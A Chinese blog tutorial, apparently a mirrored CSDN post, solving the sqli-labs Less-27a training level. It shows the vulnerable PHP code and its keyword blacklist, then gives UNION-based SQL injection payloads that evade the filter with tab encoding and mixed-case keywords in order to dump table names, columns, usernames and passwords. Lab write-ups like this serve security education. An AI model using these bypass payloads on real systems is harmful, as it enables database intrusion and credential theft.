当前位置: 首页 > news >正文

sqli-labs:Less-27a关卡详细解析

1. 思路🚀

本关的SQL语句为:

$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  • 注入类型:字符串型(双引号包裹)、GET操作
  • 提示:参数需以"闭合
  • 关键参数:id

php输出语句的部分代码:

if($row)
{echo "<font size='5' color= '#99FF00'>";	echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}
else 
{echo '<font color= "#FFFF00">';// print_r(mysql_error());echo "</font>";  
}

语句print_r(mysql_error());被注释,本关卡不可以使用报错盲注。而且许多字符进行了过滤,但我们只需要对字符进行替换即可,替换规则如下。

  • 空格%09替换
  • unionUnIoN替换
  • selectSELect替换
function blacklist($id)
{$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*$id= preg_replace('/[--]/',"", $id);			//Strip out --.$id= preg_replace('/[#]/',"", $id);			//Strip out #.$id= preg_replace('/[ +]/',"", $id);	    	//Strip out spaces.$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.$id= preg_replace('/[ +]/',"", $id);	    	//Strip out spaces.$id= preg_replace('/union/s',"", $id);	    //Strip out union$id= preg_replace('/select/s',"", $id);	    //Strip out select$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT$id= preg_replace('/Union/s',"", $id);	    //Strip out Union$id= preg_replace('/Select/s',"", $id);	    //Strip out selectreturn $id;
}

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-27a/,从?id=开始,只需要将下面的sql语句粘贴即可。同时我将sql注入源语句和变体语句放在下面,方便观察。

2.1. 获取基本信息⚡

999" union select 1,database(),3 where "1"="1
999"%09UnIoN%09SELect%091,database(),3%09where%09"1"="1

在这里插入图片描述


2.2. 获取表名⚡

999" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' and "1"="1
999"%09UnIoN%09SELect%091,group_concat(table_name)%09,3%09from%09information_schema.tables%09where%09table_schema%09=%09'security'%09and%09"1"="1

在这里插入图片描述


2.3. 获取字段⚡

999" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users' and "1"="1
999"%09UnIoN%09SELect%091,group_concat(column_name)%09,3%09from%09information_schema.columns%09where%09table_schema%09=%09'security' and%09table_name%09=%09'users'%09and%09"1"="1

在这里插入图片描述


2.4. 获取数据⚡

999" union select 1,group_concat(username),3 from users where"1"="1
# 账号
999"%09UnIoN%09SELect%091,group_concat(username),3%09from%09users%09where"1"="1
# 密码
999"%09UnIoN%09SELect%091,group_concat(password),3%09from%09users%09where"1"="1

在这里插入图片描述

在这里插入图片描述


2.5. 参数汇总表⭐

参数作用示例
"闭合符号id=1"
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. 总结🏁

关卡中代码对许多字符进行过滤来防止SQL注入,但我们仍可通过替换相应内容(如SELect)、逻辑运算符替代或URL编码的方式等方式轻松绕过。

相似的关卡解析,见"sqli-labs:Less-27关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149912698?spm=1011.2415.3001.5331

相似的关卡解析,见"sqli-labs:Less-28关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149915055?spm=1011.2415.3001.5331

基础的联合注入关卡解析,见"sqli-labs:Less-2关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149775774?spm=1011.2415.3001.5331


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/314574.html

相关文章:

  • UA 配置Https域名
  • AI赋能SEO关键词优化
  • k8s的毫核
  • DQL 超维分析 - 1 DQL 原理
  • 无公网环境下在centos7.9上使用kk工具部署k8s平台(amd64架构)
  • redis可视化工具汇总
  • Ubuntu系统VScode实现opencv(c++)图像二维直方图
  • 免费MCP: JSON 转 Excel MCP
  • N4语法书
  • 数据结构——图及其C++实现(1)概念、存储结构、遍历
  • 【09】C++实战篇——C++ 生成静态库.lib 及 C++调用lib,及实际项目中的使用技巧
  • 10.苹果ios逆向-FridaHook-ios中的算法-CCMD5
  • curl发送文件bodyParser无法获取请求体的问题分析
  • RAG From Scratch 系列教程-3: Routing
  • 将AAL图谱对应到Yeo7大网络中【原理,代码分析】
  • 断点续传Demo实现
  • 16.8 华为昇腾CANN架构深度实战:3大核心引擎解析与性能优化216%秘籍
  • C++高频知识点(十四)
  • 如果发送的数据和接受的数据不一致时,怎么办?
  • 从 Hive 数仓出发,全面剖析 StarRocks、MySQL、HBase 的使用场景与区别
  • Linux-Day02.Linux指令
  • Vue 3 + AntV X6 实现流程编辑功能
  • C语言-指针[指针数组和数组指针]
  • 【web应用】Maven:Java 生态的构建与依赖管理利器
  • LeetCode算法日记 - Day 1: 移动零、复写零
  • 排序算法——归并排序(图文演示)
  • 最小二乘法MSE
  • 【Linux】重生之从零开始学习运维之GTID复制
  • 【动态规划 | 回文字串问题】动态规划解回文问题的核心套路
  • docker镜像源配置教程,以及解决安装好docker配置镜像源后,出现报错。Job for docker.service failed